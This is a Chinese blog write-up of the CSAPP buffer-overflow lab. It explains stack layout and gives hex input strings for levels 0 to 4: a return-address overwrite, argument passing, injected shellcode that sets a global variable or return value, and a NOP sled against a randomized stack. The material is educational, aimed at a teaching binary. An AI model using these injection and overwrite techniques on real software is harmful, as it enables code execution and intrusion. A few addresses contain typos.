逆向工程——缓冲区溢出(CSAPP Project)

信息 = 位 + 上下文

CSAPP的开篇就明确地强调了这一点,而这次的缓冲区溢出的实验将这句话发挥到了极致。(实验文件见这里

举个例子:菜刀可以用来切菜,也可以用来砍人。对于厨师菜刀就是切菜工具,对于罪犯就是杀人工具。这里的菜刀就是位,菜刀还是那把菜刀,但上下文(厨师、罪犯)不同了,那么信息(切菜、砍人)也就不同了。断章取义的理解一样事物必然不能看到全貌。

那么放在计算机里的解释就是:一坨01的数据,你可以把它解释成整型、浮点、字符、指令、寄存器。数据还是那些数据,就看你的上下文(解释器、解释方法、组织方法)了,不同的解释结果是南辕北辙的。

  

  

===============level 0=============

知识点:rtn addr

stack

要想理解栈的机制,这张图是关键。可以看到Frame Pointer(%ebp)中存的是上层函数的%ebp,而其上方就是return address,即当前函数返回到上层函数的地址。这个也就解这题的关键了,也是缓冲区溢出攻击的基石。return address就像是盗梦空间的n层和n+1层的入口,万一没改好就迷失在意识边缘了。

题目简要描述如下:

首先主程序会调用test函数

   1:  void test()
   2:  {
   3:      int val;
   4:      volatile int local = 0xdeadbeef;
   5:      entry_check(3); /* Make sure entered this function properly */
   6:      val = getbuf();
   7:      /* Check for corrupted stack */
   8:       if (local != 0xdeadbeef) {
   9:           printf("Sabotaged!: the stack has been corrupted\n");
  10:       }
  11:       else if (val == cookie) {
  12:           printf("Boom!: getbuf returned 0x%x\n", val);
  13:           validate(3);
  14:       }
  15:       else {
  16:           printf("Dud: getbuf returned 0x%x\n", val);
  17:       }
  18:   }
  
其中getbuf函数如下:
   1:  int getbuf()
   2:  {
   3:       char buf[12];
   4:       Gets(buf);
   5:       return 1;
   6:  }
  
可以看到buf[12]就是一个可以利用的缓冲区,目标:覆盖掉buf之后的rtn addr。

另外有一个smoke函数

   1:  void smoke()
   2:  {
   3:   
   4:      entry_check(0); /* Make sure entered this function properly */
   5:   
   6:      printf("Smoke!: You called smoke()\n");
   7:   
   8:      validate(0);
   9:   
  10:      exit(0);
  11:   
  12:  }

此函数一般情况是不会调用的,但如何去让test调用它就是要解决的问题。有了rtn addr在栈中的组织方式就能很容易的想到把smoke的地址放到getbuf的返回地址中就能调用smoke了。

通过反汇编,然后查看getbuf的代码,注意到这段:

   1:  lea -0x18(%ebp), %eax
   2:   
   3:  mov %eax, (%esp)
   4:   
   5:  call 80489c0<Gets>

可以看到lea把buf的指针地址(-0x18(%ebp))传给了Gets(),也就是buf距离rtn addr有0x18 + 4(%ebp的字节数)=0x1c(28)个字节的距离,于是只要在buf开始处随便填入28字节,并在rtn addr中填入smoke的地址就行了。

代码如下(相邻两个空格隔开一个字节,括号中为注释,为方便便阅读进行了换行):

   1:  30 30 30 30 30 30 30 30 30 30 
   2:  30 30 30 30 30 30 30 30 30 30 
   3:  30 30 30 30 
   4:  30 30 30 30 ($ebp) 
   5:  b0 8e 04 08 (rtn addr) 

最后可以画出这样一个栈图:

stack_level0

从图中可以看到buf溢出到了rtn addr保存的地址,并改写为smoke()的地址。于是乎,getbuf()返回时就运行到了smoke()处。

  

  

===============level 1=============

知识点:函数的参数

Level1在level0的基础上需要给一个fizz的函数传参数,以此能让其运行if (val == cookie)分支。

   1:  void fizz(int val) 
   2:   
   3:  { 
   4:   
   5:      entry_check(1); /* Make sure entered this function properly */ 
   6:   
   7:      if (val == cookie) { 
   8:   
   9:          printf("Fizz!: You called fizz(0x%x)\n", val); 
  10:   
  11:          validate(1); 
  12:   
  13:      } else 
  14:   
  15:          printf("Misfire: You called fizz(0x%x)\n", val); 
  16:   
  17:      exit(0); 
  18:   
  19:  } 

  

这里先把cookie变量中的值给找出来,这个用gdb就行了,问题在于val的值怎么给它传进去。其实,仔细想想也不难,根据函数在栈中的调用方式,第一个参数不就在0x8(%ebp)嘛,那0x8(%ebp)在哪呢?查看fizz的反汇编可以看到函数一般在最开始这样做:

   1:  push %ebp 
   2:   
   3:  mov %esp, %ebp 

也就是说,%ebp是什么不重要,重要的是%esp是什么。回想一下getbuf()返回时做了什么很有好处。它把rtn addr弹出来了,那么最后%esp就成了rtn addr所在内存的上一个地址。而当push %ebp时,%esp又压入一个,于是它又变成了rtn addr所在的地址。那么0x8(%ebp)就是rtn addr所在内存的上两个地址。得到如下的stack图:

  stack_level1

代码应该很容易写出了。

  

===============level 2=============

计算机是什么?计算机就是一坨线。

Level2要求test运行后能调用bang函数,并在bang中运行if(global_value ==cookie)分支。

bang函数:

   1:  int global_value = 0; 
   2:   
   3:  void bang(int val) 
   4:   
   5:  { 
   6:   
   7:      entry_check(2); /* Make sure entered this function properly */ 
   8:   
   9:      if (global_value == cookie) { 
  10:   
  11:          printf("Bang!: You set global_value to 0x%x\n", global_value); 
  12:   
  13:          validate(2); 
  14:   
  15:      } else 
  16:   
  17:          printf("Misfire: global_value = 0x%x\n", global_value); 
  18:   
  19:      exit(0); 
  20:   
  21:  } 

  

这里的关键是要把global_value设置成cookie才行。可问题是单凭一个缓冲区怎么来设置一个全局变量。这就是信息=位+上下文的本质了,命令可以是数据,数据也可以是命令,一切就看你如何去解释了。栈里存的不一定是数据,也可以是命令。那么rtn addr返回的地址就是你输入到栈里的命令开始处,于是你看到了另一个世界,原来程序还可以这样运行。

查看cookie中的值为0x603cc5ae,而global_value在内存0x804a1c4处。由于最后要跳转到bang,所以要在代码返回时给%esp一个返回bang的返回地址。代码如下:

   1:  movl $0x603cc5ae, %eax 
   2:   
   3:  movl %eax, 0x804a1c4 
   4:   
   5:  movl $0x0xbfffb6a0, %esp 
   6:   
   7:  ret 

  

画出栈图如下:

  stack_level2

最后输入的字符如下:

   1:  b8 ae c5 3c 60 (movl 0x603cc5ae, %eax) 
   2:   
   3:  a3 c4 a1 04 08 (movl %eax, 0x804a1c4) 
   4:   
   5:  bc a0 b6 ff bf (movl $0xbfffb6a0, %esp) 
   6:   
   7:  c3 (ret) 16bytes (0xbfffb69f) 
   8:   
   9:  10 8e 04 08 (0xbfffb6a0) 
  10:   
  11:  30 30 30 30 (0xbfffb6a4) 
  12:   
  13:  30 30 30 30 (0xbfffb6a8, %ebp) 
  14:   
  15:  90 b6 ff bf (rtn addr) 

  

其实,这关所花的功夫远不止这些。代码是很早就想出来了,但一个诡异的问题是在gdb中运行正确,在shell中运行却始终报段错误。这个问题又没办法在gdb中还原,搞得快抓狂了,穷尽了各种方法,最后通过了一个机缘巧合地发现,原来栈在程序运行时的内存地址是不固定的,所以movl $0xbfffb6a0, %esp这句是十分依赖栈运行的情况的,由于rtn addr里填入的也是栈的指令区地址,所以根本没办法得出一个通用的指令。这次debug的过程异常的枯燥,几乎用了一个晚上一个下午。结论就是:缓冲区的攻击有时是十分依赖特定的机器、特定的运行情况、特定的编译器。总之,攻击的代码不是放诸四海皆准的。(P.S.在这之后看了level4中的一句话:Stack positions also differ when running a program under GDB, since GDB uses stack space for some of its own state. 晕厥了)

===============level 3=============

这关需要运行if (val == cookie)分支,而运行此分支需要getbuf()返回值为cookie。经过了level3可以知道并不难,只要在栈中插入指令movl cookie, %eax,另外需要注意的是对于%ebp的还原问题,由于返回到test()函数时,程序会用到相对于%ebp的物理内存地址,所以在写字符串时应考虑到%ebp的原值不应覆盖。

最后的代码如下:

   1:  b8 ae c5 3c 60 (movl $0x603cc5ae, %eax) 
   2:   
   3:  bc a0 b6 ff bf (movl $0xbfffb6a0, %esp) 
   4:   
   5:  c3 (ret) 
   6:   
   7:  30 30 30 30 30 (16 bytes, 0xbfffb69f) 
   8:   
   9:  b2 8d 04 08 (0xbfffb6a0) 
  10:   
  11:  30 30 30 30 (0xbfffb6a4) 
  12:   
  13:  c8 b6 ff bf (0xbfffb6a8, %ebp) 
  14:   
  15:  90 b6 ff bf (rtn addr) 

===============level 4=============

题目和level3要完成的大致相同,而这题的栈是会浮动的,共需执行5次。

这题最关键的一点是栈是变动的,而返回地址是一个绝对的物理地址,而我要执行攻击代码就必须知道确切的物理地址。但苦于栈地址的变动,根本无法确定出返回地址。想了各种方法:相对地址,跳转到%esp处等等。但最根本的原因是返回地址是一个绝对地址跳转,所以没有解决方案。最后,参考了http://www.cublog.cn/u3/103049/showart_2050918.html 终于释怀了。

题设中有一句是我一直忽略的:The code that calls getbufn first allocates a random amount of storage on the stack (using library function alloca) that ranges between 0 and 127 bytes.

而查看getbufn()函数:

   1:  int getbufn() 
   2:   
   3:  { 
   4:   
   5:      char buf[512]; 
   6:   
   7:      Gets(buf); 
   8:   
   9:      return 1; 
  10:   
  11:  } 
  
  

可得知buf的缓冲区为512字节,127 * 2= 514,隐约可以感觉出这其中的微妙性。

不妨先做个实验,由于相同的攻击代码要执行5次,栈的地址也可能变换5次,所以对关键的%ebp寄存器进行采样,得出了三个不同的%ebp值:

   stack_level4_2

根据三个%ebp的采样和“ranges between 0 and 127 bytes”这句话,可以得出高地址的%ebp极限情况(highest %ebp)和低地址%ebp的极限情况(lowest %ebp)。

再来想一想攻击代码该怎么写,其实和level3也差不多,不同的是由于每次%ebp的值可能是不同的,所以还原%ebp得想一个比较tricky的方法。这时可能会想到相对地址,于是又想到其实每次old %ebp – new %ebp = 常数。而这个常数是多少呢,gdb一下,得出0x20。但由于当我们的攻击代码运行时new %ebp的值已被覆盖,所以要另想一个办法间接地得出new %ebp。于是,想到当函数返回时,%esp = new %ebp + 8,得到:

old %ebp – (%esp – 8)= 0x20

old %ebp = %esp + 0x18

接下来的就比较好办了:

   1:  8d 6c 24 18 68 (lea 0x18(%esp), %ebp) 
   2:   
   3:  42 8d 04 08 (pushl $0x8048d42,test()的返回地址) 
   4:   
   5:  b8 ae c5 3c 60 (movl $0x603cc5ae, %eax) 
   6:   
   7:  c3 (ret) 
   8:   
   9:  90 90 90 90 (%ebp) 
  10:   
  11:  ?? ?? ?? ?? (rtn addr) 

  

最后的问题就剩下如何设置rtn addr。由于buf有512字节,必定有许多空余字节,所以根据题干的提示,在之前插入nop是个好办法。根据getbufn()中:

   1:  lea -0x208(%ebp), %eax 
   2:   
   3:  mov %eax, (%esp) 
   4:   
   5:  call 80489c0 <Gets> 

  

得出buf起始处距离%ebp寄存器520字节。

所以highest %ebp的buf段[0xbfffb4ef, 0xbffb6f7),

lowest %ebp的buf段[0xbfffb421, 0xbfffb629)。

取交集[0xbfffb4ef, 0xbfffb629),由于%ebp前攻击代码的字节数15字节。所以进一步缩小区间[0xbfffb4ef, 0xbfffb61a)。于是选0xbfffb529吧。

最后的代码如下:

   1:  90 90 90 90 90 90 90 90 90 90 
   2:   
   3:  90 90 90 90 90 90 90 90 90 90 
   4:   
   5:  ……
   6:   
   7:  (505个nop(90)指令)
   8:   
   9:  ……
  10:   
  11:  90 90 90 90 90 90 90 90 90 90 
  12:   
  13:  8d 6c 24 18 68 
  14:   
  15:  42 8d 04 08 
  16:   
  17:  b8 ae c5 3c 60 
  18:   
  19:  c3 
  20:   
  21:  90 90 90 90 
  22:   
  23:  29 b5 ff bf 

  

撒花啦!总算是完结篇了

level4

 

posted @ 2011-06-09 19:40  chkkch  阅读(5294)  评论(3编辑  收藏  举报